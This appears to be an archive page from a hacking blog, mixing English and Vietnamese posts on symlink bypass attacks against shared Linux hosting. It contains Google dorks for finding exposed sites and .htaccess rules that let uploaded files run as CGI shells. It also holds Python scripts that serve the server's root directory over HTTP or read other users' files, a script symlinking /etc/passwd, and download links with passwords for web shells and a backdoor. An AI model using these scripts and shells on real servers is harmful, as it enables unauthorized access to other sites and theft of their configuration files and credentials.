Bypass Symlink Work 100% By Mauritania Attacker Private!

Bypass Symlink Work 100% By Mauritania Attacker Private!

You can Bypass any server with this method you just need to do some little changes in the following file :

* php.ini

* and bypass suEXEC

For example i have this simple "php.ini" 

safe_mode = Off
disable_functions =
safe_mode_gid = Off
open_basedir = Off
register_globals = on
exec = On
shell_exec = On

ĐỌC TIẾP »

Bypass Symlink Work 100% By Mauritania Attacker Private!

By: MIN Software on: 4:11 AM

Bypass Symlink on Linux Servers by Sen Hacker

Hello Every One Now I Manoj Nath and I am going to share the Sen Haxor's Tutorial on Bypassing Symlink on 2013 Linux servers :)

Hi Guys this is Sen.

Today i gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods.

So Lets Get Started :)

Note : This method is not applicable for Godaddy , Bluehost , Hostgrator and Hostmonstor Servers.

ĐỌC TIẾP »

Bypass Symlink on Linux Servers by Sen Hacker

By: MIN Software on: 5:01 AM

Server Bypass via Symlink - Jumping in server

As we all know, symlinking it's on of greates methods for bypassing server security, mean to read files of other site in same shared host.

For getting success with this tutorial are required the following things:

• Python Installed on Server

• b374k.php shell

• And some scripts u will see below.

This idea have start from devilzc0de geeks and let me explain how it work.

ĐỌC TIẾP »

Server Bypass via Symlink - Jumping in server

By: MIN Software on: 4:25 AM

Get Symlink Enabled Websites With Google

These are some of the best google dorks to get symlink enabled websites through Google :)

1. inurl:"/root/home/*/public_html/"
2. inurl:"/sym/root/"
3. inurl:"/*.php?sws=sym" 0r inurl:"/*.php?*=sym" intext:"[ Symlink File ]"

Get Symlink Enabled Websites With Google

By: MIN Software on: 12:55 AM

CONFIGURATION File Killer Symlink Shell

This is a CONFIGURATION File Killer Symlink Shell coded by a member of Team Indishell. It is fully automated php shell and symlinks all the config file by just 2 clicks.
it will symlink the "/" folder as well as the configuration files.
ĐỌC TIẾP »

CONFIGURATION File Killer Symlink Shell

By: MIN Software on: 8:17 AM

[TUT] - Bypass + Indirect Symlink + Download file Permission

Download: http://www.mediafire.com/?ttntb5n2str51t2

Nguồn: Sưu tầm (Juno_okyo's Blog)

[TUT] - Bypass + Indirect Symlink + Download file Permission

By: MIN Software on: 5:55 AM

Symlink sa 3.0

http://www.mediafire.com/?2yo08k3a0ha6mym

TUT hướng dẫn sử dụng:

http://www.mediafire.com/?rqd1m6sgllssi50

Symlink sa 3.0

By: MIN Software on: 6:30 AM

Tổng hợp Shell và giới thiệu tính năng!

Nói đến local là nói đến shell, không có shell thì chỉ local bằng niềm tin. Hôm nay soleil giới thiệu một số loại shell thông dụng không thể thiếu trong local attack.

Một số shell thông dụng:

r57.php

http://www.mediafire.com/?25gsg6fqtp48cdl

R57 hiện nay đang là shell thông dụng, được sử dụng phổ biến nhất với hầu như là đầy đủ các tính năng.

c99.php

http://www.mediafire.com/?npsob8c7dd9nr40

Nói đến r57 cũng không thể  không nhắc đến c99 với các thao tác có sẵn trên shell mà không cần phải sử dụng lệnh: edit, del, insert, drop… đặc biệt là có khả năng dump cơ sở dữ liệu!

byg.php

http://www.mediafire.com/?33wykc6rumc3cf9

Byg hiện đang là shell mà được soleil sử dụng nhiều nhất với các chức năng có sẵn và thao tác dễ sử dụng

pass login: byg

         
         vhb.php

     Con shell này đã được soleil Edit và Deveple bằng chính con shell Byg.php trên với 1 số tính năng mạnh hơn và giao diện đẹp, bắt mắt hơn. Đây là con shell chính mà soleil thường sử dụng nhất.
  

http://www.mediafire.com/?hr9acl1yd1eabcw 

    Pass login: vhb

soleil.pin

Nếu Server Safe_mod: ON,  cả shell r57 và c99 đều không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được. Giải pháp được nghĩ đến là sử dụng shell cgi mà chức năng chính của nó là thực thi các câu lệnh.

 Pass login: ducdung.08clc

Cách sử dụng:

-          Up shell soleil.pin và CHMOD nó về 755

-          Up hoặc tạo file .htaccess có nội dung:

## START ##

Options +ExecCGI

AddHandler cgi-script cgi pl cgi gmc pin jpg

RewriteEngine on

RewriteRule (.*)\.mil$ $1.cgi

Options +FollowSymLinks

DirectoryIndex cmd.html

Options +Indexes

RemoveHandler .hack

AddType text/plain .hack

## milw0rmvn exploit ##

Hoặc:

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .pin

AddHandler cgi-script .pin

telnet.php

http://www.mediafire.com/?t9cavs1n0ipthq1

Để sử dụng shell cgi được thuận tiên hơn, soleil giới thiệu shell telnet.pl. Chức năng hoàn toàn tương tự với con shell soleil.pin

Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần CHMOD nó về 755 là run ngon.

Fake symlink:

http://www.mediafire.com/?fc9kencnilx0rm4

Get user:

http://www.mediafire.com/?gic70c6ce441333

Get user và domain

http://www.mediafire.com/?6n3x3nb340dq2g8

 

Shell này cần chmod về 755 trước khi sử dụng

http://www.mediafire.com/?2rk42hiv9b4ii3f

Get all config

http://www.mediafire.com/?hi4gnmu3kpxn095

 

SSI

http://www.mediafire.com/?vyqfaap9aarl75v

 

Backdoor.php

http://www.mediafire.com/?etciiuskzvyhjcw

 

Netcut

http://www.mediafire.com/?npsob8c7dd9nr40

zipcode.php

http://www.mediafire.com/?83ocom3w4r6ilfp

 

r57bypass.php (vip)

http://www.mediafire.com/?sqjs5du3srlifqt

 

Check Shell : Kiểm tra shell có trên site

http://www.mediafire.com/?ruh9r1i2d2tcpvn

 

Priv8_2012.php

http://www.mediafire.com/?2hw2xr8wpg902er

 

saoluu.php

http://www.mediafire.com/?ajm9l3uhgxx9jq6

Shell xml: Up shell đối với vbulletin

http://www.mediafire.com/?tdhe6l8bb676woq

http://www.mediafire.com/?nw1y3ui404zufyd

 

root.tar.gz: Dùng để symlink root hay indirect symlink.

http://www.mediafire.com/?21kycoh4g5s4ojo 

* Và rất nhiều shell khác  với 1 số tính năng đặc biệt khác nữa.

...
Pass Unlock (all link): soleil_vhb

Nguồn: Hồ Đức Dũng's Blog
Hiệu chỉnh bởi Juno_okyo.

Tổng hợp Shell và giới thiệu tính năng!

By: MIN Software on: 6:51 PM

Server Bypass via Symlink - Jumping in server

==================================================

As we all know, symlinking it's on of greates methods for bypassing server security, mean to read files of other site in same shared host.
For getting success with this tutorial are required the following things:

• Python Installed on Server
• b374k.php shell
• And some scripts u will see below.

This idea have start from devilzc0de geeks and let me explain how it work.


here we are in folder

/var/www/

dono and trying to go into /www/

no permissions to go into /www .
before we got tired by trying the commands u must check if if python it's installed with command :

python -h

Now take this python script and name it as

webs.py , It's a little python script who will open a new port on server SimpleHTTPServer ( python ) module. Default port from script it's 13123 .

#!/usr/bin/env python# devilzc0de.org (c) 2012import SimpleHTTPServerimport SocketServerimport osport = 13123if __name__=='__main__': os.chdir('/') Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", port), Handler) print("Now open this server on webbrowser at port : " + str(port)) print("example: http://maho.com:" + str(port)) httpd.serve_forever()

http://pastebin.com/PddvszKC

Next u wil need to run the webs.py script by following command

python webs.py

open the site with port 13123
site.com:13123

Let's go with next method of symlink server bypassing , like u see and into before post now i will explain a new trick with an other tool.
http://www.flashcrew.in/2012/05/serv...umping-in.html

-------------------------
Here we will talk about an other tool who use python permission to read other folders/ files in same server.
Tool called xplor.py and here it's the source

#!/usr/bin/env python
# devilzc0de.org (c) 2012
import sys
import os

def copyfile(source, dest, buffer_size=1024*1024):
if not hasattr(source, 'read'):
source = open(source, 'rb')
if not hasattr(dest, 'write'):
dest = open(dest, 'wb')
while 1:
copy_buffer = source.read(buffer_size)
if copy_buffer:
dest.write(copy_buffer)
else:
break
source.close()
dest.close()

if __name__=="__main__":
if not len(sys.argv) == 3 and not len(sys.argv) == 2:
sys.stdout.write('usage : python ' + os.path.basename(sys.argv[0]) + ' [path to dir/file] [path to save file]\r\n')
sys.stdout.write('ex : python ' + os.path.basename(sys.argv[0]) + ' /etc\r\n')
sys.stdout.write('ex : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue\r\n')
sys.stdout.write('ex : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue issue_new_copy\r\n')
sys.exit(1)

target = sys.argv[1].replace("\\","/")
if os.path.isdir(target):
if not target.endswith("/"):
target = target + "/"
dir = os.listdir(target)
for d in dir:
fs = ""
if os.path.isdir(target + d):
fs = "[ DIR ]"
elif os.path.isfile(target + d):
fs = os.path.getsize(target + d)
fs = str(fs)

sys.stdout.write(fs.rjust(12, " ") + " " + d + "\r\n")
elif os.path.isfile(target):
if len(sys.argv) == 3:
copyfile(target, sys.argv[2])
else:
f = open(target, "rb")
try:
byte = f.read(1024)
sys.stdout.write(byte)
sys.stdout.flush()
while byte != "":
byte = f.read(1024)
sys.stdout.write(byte)
sys.stdout.flush()
finally:
f.close()
else:
sys.stdout.write("Can't found file or folder : " + target)

http://pastebin.com/WqmCE2sJ

testing the script

python xplor.py

User the tool to view folders where not have any permission to read inside

python xplor.py /var/www/index.php

View the files in no access folder .
python xplor.py /var/www/index.php

copy/ save ur file
python xplor.py /var/www/indro/ketek.jpg ketek.jpg


And yeah file it's here


Yeahh fucking access it's granted

Some thing u can do with those other scripts in perl
webs.pl
and
xplor.pl

enjoy it :)

Server Bypass via Symlink - Jumping in server

By: MIN Software on: 6:58 PM

Symlink Python Forbidden Bypass

.htacesss

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .nothing

AddHandler cgi-script .nothing
AddHandler cgi-script .nothing

Forbidden.nothing

#!/usr/bin/python
print "Content-type: text/html\n\n"

import os
filename = "nothing.txt" #dst
linkto = "/etc/passwd" #source
os.symlink(linkto, filename)

Symlink Python Forbidden Bypass

By: MIN Software on: 9:18 PM